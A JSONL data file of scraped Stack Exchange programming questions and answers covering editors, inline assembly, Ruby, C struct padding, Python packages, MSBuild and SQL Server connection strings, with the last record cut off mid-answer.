{"id": "hf_1be0a49be101", "question": "<p>I find the autoindent style of Notepad++ a little weird: when I am typing on an indented line, I <em>do</em> want it to indent the next line after I press Enter (this it does properly). However, when I am on an empty line (no indentation, no characters) and I press Enter, it indents the next line, using the same indentation as the last non-empty line. I find this extremely annoying; have you ever encountered this problem and do you know how to fix it?</p>\n<p>(Note: I'm editing HTML/PHP files.)</p>\n", "question_body": "", "answer": "To be honest, this to me seems expected behaviour. Blank lines are used a lot by myself to break up the code to make it more readable, having the program make me have to tab out again would be VERY annoying.\nI can understand this as a frustration with something like Python, but not with PHP... Though, before braces etc etc this might be annoying.\nTry out\nKomodo Edit\nhowever, it's free, and I've found that it generally has been the best for auto-indenting for me. It seems to have learnt my coding style (or have the options in it for all coding styles and it picks up what you're using) and automatically indents everything correctly.\nEdit: As you've noted in your reply, the issue is with \"trailing whitespace\" - I don't know Notepad++ too well, but most modern editors designed for coding have a \"strip trailing whitespace on save\" option (I know Komodo does!)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.573356"}
{"id": "hf_e80ecf2afad3", "question": "<p>Does anyone know how I can get rid of the following assembler warning?</p>\n\n<p>Code is x86, 32 bit:</p>\n\n<pre><code>int test (int x)\n{\n  int y;\n  // do a bit-rotate by 8 on the lower word. leave upper word intact.\n  asm (\"rorw $8, %0\\n\\t\": \"=q\"(y) :\"0\"(x));\n  return y;\n}\n</code></pre>\n\n<p>If I compile it I get the following (very valid) warning:</p>\n\n<pre><code>Warning: using `%ax' instead of `%eax' due to `w' suffix\n</code></pre>\n\n<p>What I'm looking for is a way to tell the compiler/assembler that I want to access the lower 16 bit sub-register of %0. Accessing the byte sub-registers (in this case AL and AH) would be nice to know as well. </p>\n\n<p>I've already chosen the \"q\" modifier, so the compiler is forced to use EAX, EBX, ECX or EDX. I've made sure the compiler has to pick a register that has sub-registers.</p>\n\n<p>I know that I can force the asm-code to use a specific register (and its sub-registers), but I want to leave the register-allocation job up to the compiler.</p>\n", "question_body": "", "answer": "You can use\n```\n%w0\n```\nif I remember right. I just tested it, too. :-)\n```\n```\nint\ntest(int x)\n{\n    int y;\n    asm (\"rorw $8, %w0\" : \"=q\" (y) : \"0\" (x));\n    return y;\n}\n```\n```\nEdit: In response to the OP, yes, you can do the following too:\n```\n```\nint\ntest(int x)\n{\n    int y;\n    asm (\"xchg %b0, %h0\" : \"=Q\" (y) : \"0\" (x));\n    return y;\n}\n```\n```\nFor x86 it's documented in the\nx86 Operand Modifiers section\nof the Extended Asm part of the manual.\nFor non-x86 instruction sets, you may have to dig through their\n```\n.md\n```\nfiles in the GCC source. For example,\n```\ngcc/config/i386/i386.md\n```\nwas the only place to find this before it was officially documented.\n(Related:\nIn GNU C inline asm, what are the size-override modifiers for xmm/ymm/zmm for a single operand?\nfor vector registers.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.596945"}
{"id": "hf_4c0248845ab6", "question": "<p>How do I open multiple pages in Internet Explorer 7 with a single DOS command? Is a batch file the only way to do this?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Unfortunately, there is no way to include multiple URLs as command-line parameters.  Here is a a\nblog post\nwhich details another (fairly convoluted) way to do it via Javascript.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.621145"}
{"id": "hf_a5d27d28835e", "question": "<p>Deep down in WinDef.h there's this relic from the segmented memory era:</p>\n\n<pre><code>#define far\n#define near\n</code></pre>\n\n<p>This obviously causes problems if you attempt to use near or far as variable names.  Any clean workarounds? Other then renaming my variables?</p>\n", "question_body": "", "answer": "maybe:\n```\n```\n#undef near\n#undef far\n```\n```\ncould be dangerous though...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.645744"}
{"id": "hf_efb281f7f0d1", "question": "<p>I want to use the macports version of python instead of the one that comes with Leopard.</p>\n", "question_body": "", "answer": "I have both installed:\n```\n```\n$ which python\n/usr/bin/python\n$ which python2.5\n/opt/local/bin/python2.5\n```\n```\nI also added the following line to my\n```\n.profile\n```\n:\n```\n```\nexport PATH=/opt/local/bin:/opt/local/sbin:$PATH\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.669920"}
{"id": "hf_19687f6c654d", "question": "<p>I would like to replace only the group in parenthesis in this expression :</p>\n\n<pre><code>my_string.gsub(/&lt;--MARKER_START--&gt;(.)*&lt;--MARKER_END--&gt;/, 'replace_text')\n</code></pre>\n\n<p>so that I get : <code>&lt;--MARKER_START--&gt;replace_text&lt;--MARKER_END--&gt;</code></p>\n\n<p>I know I could repeat the whole <code>MARKER_START</code> and <code>MARKER_END</code> blocks in the substitution expression but I thought there should be a more simple way to do this.</p>\n", "question_body": "", "answer": "You could do something like this:\n```\n```\nmy_string.gsub(/(<--MARKER_START-->)(.*)(<--MARKER_END-->)/, '\\1replace_text\\3')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.705474"}
{"id": "hf_0e449e2635e7", "question": "<p>How can I start a project in CodePlex.com?</p>\n", "question_body": "", "answer": "Try going to CodePlex and\nreading how to do this\nthere.\nRegister", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.728641"}
{"id": "hf_afd896c48946", "question": "<p>I've been trying to figure out how to print in Adobe AIR. I know the standard javascript functions don't work. The AIRforJSDev guide says:\n\"The window.print() method is not supported within Adobe \nAIR 1.0. There are other methods available via the exposed AIRAPIs that give you access to printing within the runtime\"</p>\n\n<p>But I can't find those functions. I've looked in the language reference but can't find them there anywhere. Where are they and what are they ? </p>\n", "question_body": "", "answer": "What you need to do is access the AS3\nflash.printing.PrintJob\nAPI. Here's a page on\naccessing flash API from javascript\n(basically you just do window.runtime.XYZ where XYZ is the flash API).\nYou should look up tutorials on printing in flash, just need minor tweaks to do it from JS. Here's two random tutorials on printing in flash I found:\none\n,\ntwo", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.875901"}
{"id": "hf_dbf9433a12d0", "question": "<p>I recently installed MySQL 5 on Windows 2003 and tried configuring an instance. Everything worked fine until I got to \"Applying Security settings\", at which point it gave me the above error (<code>Can't connect to MySQL server on 'localhost' (10061)</code>).</p>\n\n<p>I do have a port 3306 exception in my firewall for 'MySQL Server'. </p>\n", "question_body": "", "answer": "You'll probably have to grant 'localhost' privileges to on the table to the user.  See the\n```\n'GRANT'\n```\nsyntax documentation.  Here's an example (from some C source).\n\"GRANT ALL PRIVILEGES ON %s.* TO '%s'@'localhost' IDENTIFIED BY '%s'\";\nThat's the most common access problem with MySQL.\nOther than that, you might check that the user you have defined to create your instance has full privileges, else the user cannot grant privileges.\nAlso, make sure the mysql service is started.\nMake sure you don't have a third party firewall or Internet security service turned on.\nBeyond that, there's several pages of the MySQL forum devoted to this:\nhttp://forums.mysql.com/read.php?11,9293,9609#msg-9609\nTry reading that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.924683"}
{"id": "hf_2ca95304edaf", "question": "<p>In our Java applications we typically use the maven conventions (docs, src/java, test, etc.).  For Perl we follow similar conventions only using a top level 'lib' which is easy to add to Perl's @INC.</p>\n\n<p>I'm about to embark on creating a service written in Erlang, what's a good source layout for Erlang applications?</p>\n", "question_body": "", "answer": "The Erlang recommended standard directory structure can be\nfound here\n.\nIn addition you may need a few more directories depending on your project, common ones are (credit to Vance Shipley):\n```\nlib:        OS driver libraries\n    bin:        OS executables\n    c_src:      C language source files (e.g. for drivers)\n    java_src:   Java language source files\n    examples:   Example code\n    mibs:       SNMP MIBs\n```\nOther projects such as\nMochiweb\nhave their own structures, Mochiweb even have a script to create it all for you. Other projects such as\nErlware\noverlay on the standard structure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.949423"}
{"id": "hf_b7f412aa6a43", "question": "<p>Can anyone suggest a good way of detecting if a database is empty from Java (needs to support at least Microsoft SQL Server, Derby and Oracle)?</p>\n\n<p>By empty I mean in the state it would be if the database were freshly created with a new create database statement, though the check need not be 100% perfect if covers 99% of cases.</p>\n\n<p>My first thought was to do something like this...</p>\n\n<pre><code>tables = metadata.getTables(null, null, null, null);\nBoolean isEmpty = !tables.next();\nreturn isEmpty;\n</code></pre>\n\n<p>...but unfortunately that gives me a bunch of underlying system tables (at least in Microsoft SQL Server).</p>\n", "question_body": "", "answer": "Are you always checking databases created in the same way?  If so you might be able to simply select from a subset of tables that you are familiar with to look for data.\nYou also might need to be concerned about static data perhaps added to a lookup table that looks like 'data' from a cursory glance, but might in fact not really be 'data' in an interesting sense of the term.\nCan you provide any more information about the specific problem you are trying to tackle?  I wonder if with more data a simpler and more reliable answer might be provided.\nAre you creating these databases?\nAre you creating them with roughly the same constructor each time?\nWhat kind of process leaves these guys hanging around, and can that constructor destruct?\nThere is certainly a meta data process to loop through tables, just through something a little more custom might exist.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.973192"}
{"id": "hf_9941594c6b82", "question": "<p>Any useful metrics will be fine</p>\n", "question_body": "", "answer": "One of the things that I look for in a code is unit test. This will give the freedom to refactor it. So if the code does not have tests I consider it a legacy code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.997312"}
{"id": "hf_f822229b1f17", "question": "<p>It seems that anyone can snoop on incoming/outgoing .NET web service SOAP messages just by dropping in a simple SoapExtension into the bin folder and then plumbing it in using:</p>\n\n<pre><code>&lt;soapExtensionTypes&gt;\n  &lt;add type=\"MyLoggingSoapExtension, SoapLoggingTools\" priority=\"0\" group=\"High\" /&gt;\n&lt;soapExtensionTypes&gt;\n</code></pre>\n\n<p>Is there a way to prevent SOAP extensions from loading or to be asked in my app (through an event or some such mechanism) whether it's ok to load ?</p>\n\n<p>@Hurst: thanks for the answer. I know about message level encryption/WS-Security and was hoping not to have to go that road. We have classic ASP clients using the service and that opens a small world of pain. There are SSL certs on the site running the web service but I was kinda hoping that I could discourage the client from tinkering with soap extensions as they have developers who have some ability to 'play'.</p>\n", "question_body": "", "answer": "I am not sure what you mean by extensions and bin folders (I would guess you are using .NET), so I can't answer about them being loaded etc.\nHowever, note that SOAP is designed to allow intermediaries to read the headers and even to modify them. (Do a search for \"SOAP Active Intermediaries\").\nJudging by that, I expect there to be no reason for a technology to avoid snooping by preventing code from reading the SOAP\n.\nThe proper way to protect yourself is to use \"\nmessage-level security\n\". (This is in contrast to\ntransport-level security\n, such as SSL, which does not protect from intermediaries).\nIn other words, encrypt your own messages before sending.\nOne available standard used to implement message-level security mechanisms is the\nWS-Security\nprotocol. This allows you to target the encryption to the payload and relevant headers regardless of transport. It is more complex, but that is how you would go about restricting access.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.020863"}
{"id": "hf_f831e867645c", "question": "<p>The Image Web Part doesn't seem to have an href attribute that I can set.  Is there something I am missing?</p>\n", "question_body": "", "answer": "Does it have to be an Image Web Part? If not I would simply use a\nContent Editor Web Part\nand paste the required HTML there.\n```\n```\n<a href=\"http://www.google.com\"><img src=\"urlToImage\" /></a>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.057108"}
{"id": "hf_ade706021a37", "question": "<p>This is what I have so far:  </p>\n\n<pre><code>myArray.map!{ rand(max) }\n</code></pre>\n\n<p>Obviously, however, sometimes the numbers in the list are not unique. How can I make sure my list only contains unique numbers without having to create a bigger list from which I then just pick the n unique numbers?</p>\n\n<p><strong>Edit:</strong><br>\nI'd really like to see this done w/o loop - if at all possible.</p>\n", "question_body": "", "answer": "You could use a hash to track the random numbers you've used so far:\n```\n```\nseen = {}\nmax = 100\n(1..10).map { |n|\n  x = rand(max)\n  while (seen[x]) \n    x = rand(max)\n  end\n  x\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.119083"}
{"id": "hf_173e7fc6285e", "question": "<p>How do you extract an RT_RCDATA section from a Win32 executable (preferably in C#)?</p>\n<p>The only way I know how to do this currently is opening up the EXE in Visual Studio.  I'd love to be able to do this entirely in C# if possible.</p>\n<p>Thanks!</p>\n", "question_body": "", "answer": "P/Invoke LoadResource will be your safest bet.\nOtherwise you'll have to write your own\nP/E\nprocessor eg.\nPE Processor example\n.  The processor isn't the end of the world, but as you can see much more involved than a P/Invoke.\nAlmost forgot,as far as tools go, most P/E browsers will do this for you.  Eg. P/E Explorer, which is available but not really being developed.  I've also used IDA Pro for stuff like this.  A quick IDA plugin would do this easily.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.171800"}
{"id": "hf_c43822bd98b0", "question": "<p>Why does the <code>sizeof</code> operator return a size larger for a structure than the total sizes of the structure's members?</p>\n", "question_body": "", "answer": "This is because of padding added to satisfy alignment constraints.\nData structure alignment\nimpacts both performance and correctness of programs:\nMis-aligned access might be a hard error (often\n```\nSIGBUS\n```\n).\nMis-aligned access might be a soft error.\nEither corrected in hardware, for a modest performance-degradation.\nOr corrected by emulation in software, for a severe performance-degradation.\nIn addition, atomicity and other concurrency-guarantees might be broken, leading to subtle errors.\nHere's an example using typical settings for an x86 processor (all used 32 and 64 bit modes):\n```\n```\nstruct X\n{\n    short s; /* 2 bytes */\n             /* 2 padding bytes */\n    int   i; /* 4 bytes */\n    char  c; /* 1 byte */\n             /* 3 padding bytes */\n};\n\nstruct Y\n{\n    int   i; /* 4 bytes */\n    char  c; /* 1 byte */\n             /* 1 padding byte */\n    short s; /* 2 bytes */\n};\n\nstruct Z\n{\n    int   i; /* 4 bytes */\n    short s; /* 2 bytes */\n    char  c; /* 1 byte */\n             /* 1 padding byte */\n};\n\nconst int sizeX = sizeof(struct X); /* = 12 */\nconst int sizeY = sizeof(struct Y); /* = 8 */\nconst int sizeZ = sizeof(struct Z); /* = 8 */\n```\n```\nOne can minimize the size of structures by sorting members by alignment (sorting by size suffices for that in basic types) (like structure\n```\nZ\n```\nin the example above).\nIMPORTANT NOTE: Both the C and C++ standards state that structure alignment is implementation-defined.  Therefore each compiler may choose to align data differently, resulting in different and incompatible data layouts.  For this reason, when dealing with libraries that will be used by different compilers, it is important to understand how the compilers align data.  Some compilers have command-line settings and/or special\n```\n#pragma\n```\nstatements to change the structure alignment settings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.200208"}
{"id": "hf_3fc6269721e2", "question": "<p>What is the difference between this:</p>\n\n<pre><code>this.btnOk.Click += new System.EventHandler(this.btnOK_Click);\n</code></pre>\n\n<p>and this?</p>\n\n<pre><code>this.btnOk.Click += this.btnOK_Click;\n</code></pre>\n\n<p>They both work.  The former is what Visual Studio defaults to when you use the snippets.  But it seems like it only ads extra verbiage, or am I missing something?</p>\n", "question_body": "", "answer": "I believe that C# since 3.0 has implicitly added the delegate handler.  However, it can help to be more explicit, especially when there are multiple possible delegate types.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.248484"}
{"id": "hf_5f1afa53a31f", "question": "<p>I'm taking a look at how the model system in django works and I noticed something that I don't understand.</p>\n\n<p>I know that you create an empty <code>__init__.py</code> file to specify that the current directory is a package.  And that you can set some variable in <code>__init__.py</code> so that import * works properly.</p>\n\n<p>But django adds a bunch of from ... import ... statements and defines a bunch of classes in <code>__init__.py</code>.  Why?  Doesn't this just make things look messy?  Is there a reason that requires this code in <code>__init__.py</code>?</p>\n", "question_body": "", "answer": "All imports in\n```\n__init__.py\n```\nare made available when you import the package (directory) that contains it.\nExample:\n```\n./dir/__init__.py\n```\n:\n```\n```\nimport something\n```\n```\n```\n./test.py\n```\n:\n```\n```\nimport dir\n# can now use dir.something\n```\n```\nEDIT: forgot to mention, the code in\n```\n__init__.py\n```\nruns the first time you import any module from that directory. So it's normally a good place to put any package-level initialisation code.\nEDIT2: dgrant pointed out to a possible confusion in my example. In\n```\n__init__.py\n```\n```\nimport something\n```\ncan import any module, not necessary from the package. For example, we can replace it with\n```\nimport datetime\n```\n, then in our top level\n```\ntest.py\n```\nboth of these snippets will work:\n```\n```\nimport dir\nprint dir.datetime.datetime.now()\n```\n```\nand\n```\n```\nimport dir.some_module_in_dir\nprint dir.datetime.datetime.now()\n```\n```\nThe bottom line is: all names assigned in\n```\n__init__.py\n```\n, be it imported modules, functions or classes, are automatically available in the package namespace whenever you import the package or a module in the package.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.272123"}
{"id": "hf_0c2fbc759078", "question": "<p>I have a large quantity of clearcase data which needs to be migrated into perforce.  The revisions span the better part of a decade and I need to preserve as much branch and tag information as possible.  Additionally we make extensive use of symbolic links, supported in clearcase but not in perforce.  What advice or tools can you suggest which might make this easier?  </p>\n", "question_body": "", "answer": "The first step is to decide if you need to migrate everything, or just certain key versions.  If you only migrate the important versions (releases and major milestones) you'll end up with a much simpler history in Perforce, without losing anything important.  Then ClearCase can be keep as a historical archive in case it is ever needed.  (Unless IBM has changed things ClearCase licenses do not expire when maintainance runs out, you just lose the right to new upgrades and patches and acces to support)\nKeep in mind that Perforce does not version control directories and does not keep a full per-element version tree - this means a 1:1 with exact results is going to be impossible.  Recreating the important snapshots is a much more achievable goal; keeping everything may be impossible, as Perforce lacks features ClearCase relies upon.\nTo see what Perforce says about the miration, check out\nhttp://perforce.com/perforce/ccaseconv.html\nThis explains the key differences and covers a few approaches you can take.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.344061"}
{"id": "hf_4d80d427b97a", "question": "<p>I'm new to Ruby, and I'm trying the following:  </p>\n\n<pre><code>mySet = numOfCuts.times.map{ rand(seqLength) }\n</code></pre>\n\n<p>but I get the 'yield called out of block' error. I'm not sure what his means. BTW, this question is part of a more general question I asked <a href=\"https://stackoverflow.com/questions/119107/how-do-i-generate-a-list-of-n-unique-random-numbers-in-ruby\"><strong>here</strong></a>.</p>\n", "question_body": "", "answer": "if   \"numOfCuts\" is an integer,\n```\n```\n5.times.foo\n```\n```\nis invalid\n\"times\" expects a block.\n```\n```\n5.times{   code here   }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.367532"}
{"id": "hf_97dd21ea35d9", "question": "<p>I have a large 2d array that I serialize and base64_encode and throw into a database.  On a different page I pull the array out and when I <code>base64_decode</code> the serialized array I can echo it out and it definitely looks valid.</p>\n\n<p>However, if I try to <code>unserialize(base64_decode($serializedArray))</code> it just throws the same error to the point of nearly crashing Firefox.</p>\n\n<p>The error is:</p>\n\n<blockquote>\n  <p>Warning: <code>unserialize()</code> [function.unserialize]: Node no longer exists in /var/www/dev/wc_paul/inc/analyzerTester.php on line 24</p>\n</blockquote>\n\n<p>I would include the entire serialized array that I echo out but last time I tried that on this form it crashed my Firefox.</p>\n\n<p>Does anyone have any idea why this might be happening?</p>\n", "question_body": "", "answer": "Are you sure you're just serializing an array, and not an object (e.g. DOMNode?)  Like resources, not all classes are going to be happy with being unserialized.  As an example with the DOM (which your error suggests to me you're working with), every node has a reference to the parentNode, and if the parentNode doesn't exist at the moment a node is being unserialized, it's not able to recreate that reference and problems ensue.\nI would suggest saving the dom tree as XML to the database and loading it back later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.391643"}
{"id": "hf_84d08b337c9c", "question": "<p>Since AspectJ LoadTime-Weaving needs to load the JVM with an agent/it's own classloader - is there a way to load/make changes in the user's JVM from my applet? or maybe just before loading the applet (with a parent applet?)</p>\n", "question_body": "", "answer": "I'm afraid you'll be completely out of luck there.  According to the\nSun docs on applet classloaders\n, a \"web browser uses only one class loader, which is established at start-up. Thereafter, the system class loader cannot be extended, overloaded, overridden or replaced.\nApplets cannot create or reference their own class loader\n\" (emphasis mine).\nYou will probably have more success with compile-time weaving on this problem, unless there's some reason why you can't do that.\nIf the applet is signed, however, you might be able to work around this.  AspectJ is not really clear on what its requirements are by way of Java Security.  I'd get on the AspectJ mailing list and ask.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.416210"}
{"id": "hf_0d2094a696a9", "question": "<p>Just wondering if someone could help me with some msbuild scripts that I am trying to write.  What I would like to do is copy all the files and sub folders from a folder to another folder using msbuild.</p>\n<pre><code>{ProjectName}\n      |-----&gt;Source\n      |-----&gt;Tools\n              |-----&gt;Viewer\n                       |-----{about 5 sub dirs}\n</code></pre>\n<p>What I need to be able to do is copy all the files and sub folders from the tools folder into the debug folder for the application.  This is the code that I have so far.</p>\n<pre><code>&lt;ItemGroup&gt;\n    &lt;Viewer Include=&quot;..\\$(ApplicationDirectory)\\Tools\\viewer\\**\\*.*&quot; /&gt;\n&lt;/ItemGroup&gt;\n\n&lt;Target Name=&quot;BeforeBuild&quot;&gt;\n    &lt;Copy SourceFiles=&quot;@(Viewer)&quot; DestinationFolder=&quot;@(Viewer-&gt;'$(OutputPath)\\\\Tools')&quot; /&gt;\n&lt;/Target&gt;\n</code></pre>\n<p>The build script runs but doesn't copy any of the files or folders.</p>\n<p>Thanks</p>\n", "question_body": "", "answer": "Did you try to specify concrete destination directory instead of\n```\n```\nDestinationFolder=\"@(Viewer->'$(OutputPath)\\\\Tools')\" ?\n```\n```\nI'm not very proficient with advanced MSBuild syntax, but\n```\n```\n@(Viewer->'$(OutputPath)\\\\Tools')\n```\n```\nlooks weird to me. Script looks good, so the problem might be in values of\n```\n$(ApplicationDirectory)\n```\nand\n```\n$(OutputPath)\n```\nHere is a blog post that might be useful:\nHow To: Recursively Copy Files Using the <Copy> Task", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.441768"}
{"id": "hf_6a0aabf7e794", "question": "<p>I would like to be able to override the default behaviour for positioning the caret in a masked textbox.</p>\n\n<p>The default is to place the caret where the mouse was clicked, the masked textbox already contains characters due to the mask.</p>\n\n<p>I know that you can hide the caret as mentioned in this <a href=\"https://stackoverflow.com/questions/44131/how-do-i-hide-the-input-caret-in-a-systemwindowsformstextbox\">post</a>, is there something similar for positioning the caret at the beginning of the textbox when the control gets focus. </p>\n", "question_body": "", "answer": "This should do the trick:\n```\n```\nprivate void maskedTextBox1_Enter(object sender, EventArgs e)\n    {\n        this.BeginInvoke((MethodInvoker)delegate()\n        {\n            maskedTextBox1.Select(0, 0);\n        });         \n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.490734"}
{"id": "hf_dea192dc375e", "question": "<p>Consider the following ruby code</p>\n\n<p>test.rb:</p>\n\n<pre><code>begin\n\n  puts\n  thisFunctionDoesNotExist\n  x = 1+1\nrescue Exception =&gt; e\n  p e\nend\n</code></pre>\n\n<p>For debugging purposes, I would like the rescue block to know that the error occurred in line 4 of this file.  Is there a clean way of doing that?</p>\n", "question_body": "", "answer": "```\n```\np e.backtrace\n```\n```\nI ran it on an IRB session which has no source and it still gave relevant info.\n```\n```\n=> [\"(irb):11:in `foo'\", \n    \"(irb):17:in `irb_binding'\", \n     \"/usr/lib64/ruby/1.8/irb/workspace.rb:52:in `irb_binding'\", \n     \"/usr/lib64/ruby/1.8/irb/workspace.rb:52\"]\n```\n```\nIf you want a nicely parsed backtrace, the following regex might be handy:\n```\n```\np x.backtrace.map{ |x|   \n     x.match(/^(.+?):(\\d+)(|:in `(.+)')$/); \n    [$1,$2,$4] \n}\n\n[\n  [\"(irb)\", \"11\", \"foo\"], \n  [\"(irb)\", \"48\", \"irb_binding\"], \n  [\"/usr/lib64/ruby/1.8/irb/workspace.rb\", \"52\", \"irb_binding\"], \n  [\"/usr/lib64/ruby/1.8/irb/workspace.rb\", \"52\", nil]\n]\n```\n```\n( Regex /should/ be safe against weird characters in function names or directories/filenames ) \n( If you're wondering where foo camefrom, i made a def to grab the exception out :\n```\n```\n>>def foo\n>>  thisFunctionDoesNotExist\n>> rescue Exception => e \n>>   return e \n>>end     \n>>x = foo \n>>x.backtrace\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.515735"}
{"id": "hf_97d00d62e5ba", "question": "<p>Within our Active Directory domain, we have a MS SQL 2005 server, and a SharePoint (MOSS 3.0 I believe) server.  Both authenticate against our LDAP server.  Would like to allow these authenticated SharePoint visitors to see some of the data from the MS SQL database.  Primary challenge is authentication.</p>\n\n<p>Any tips on getting the pass-through authentication to work?  I have searched (Google) for a proper connection string to use, but keep finding ones that have embedded credentials or other schemes.  I gather that SSPI is what I want to use, but am not sure how to implement.</p>\n\n<p>clarification: we don't have a single-sign-on server (e.g. Shibboleth) setup yet</p>\n", "question_body": "", "answer": "If you are using C# the code and connection string is:\n```\n```\nusing System.Data.SqlClient; \n... \nSqlConnection oSQLConn = new SqlConnection(); \noSQLConn.ConnectionString = \n    \"Data Source=(local);\" + \n    \"Initial Catalog=myDatabaseName;\" +\n    \"Integrated Security=SSPI\";\n //Or\n // \"Server=(local);\" + \n // \"Database=myDatabaseName;\" + \n // \"Trusted_Connection=Yes\";\noSQLConn.Open(); \n... \noSQLConn.Close();\n```\n```\nAn excellent resource for connection strings can be found at\nCarl Prothman's Blog\n. Yoy should probably replace\n```\n(local)\n```\nwith the name of the SQL server.\nYou will need to either configure SQL server to give the Domain Roles the access privilages you want. In SQL server you will need to go to Security\\Logins and 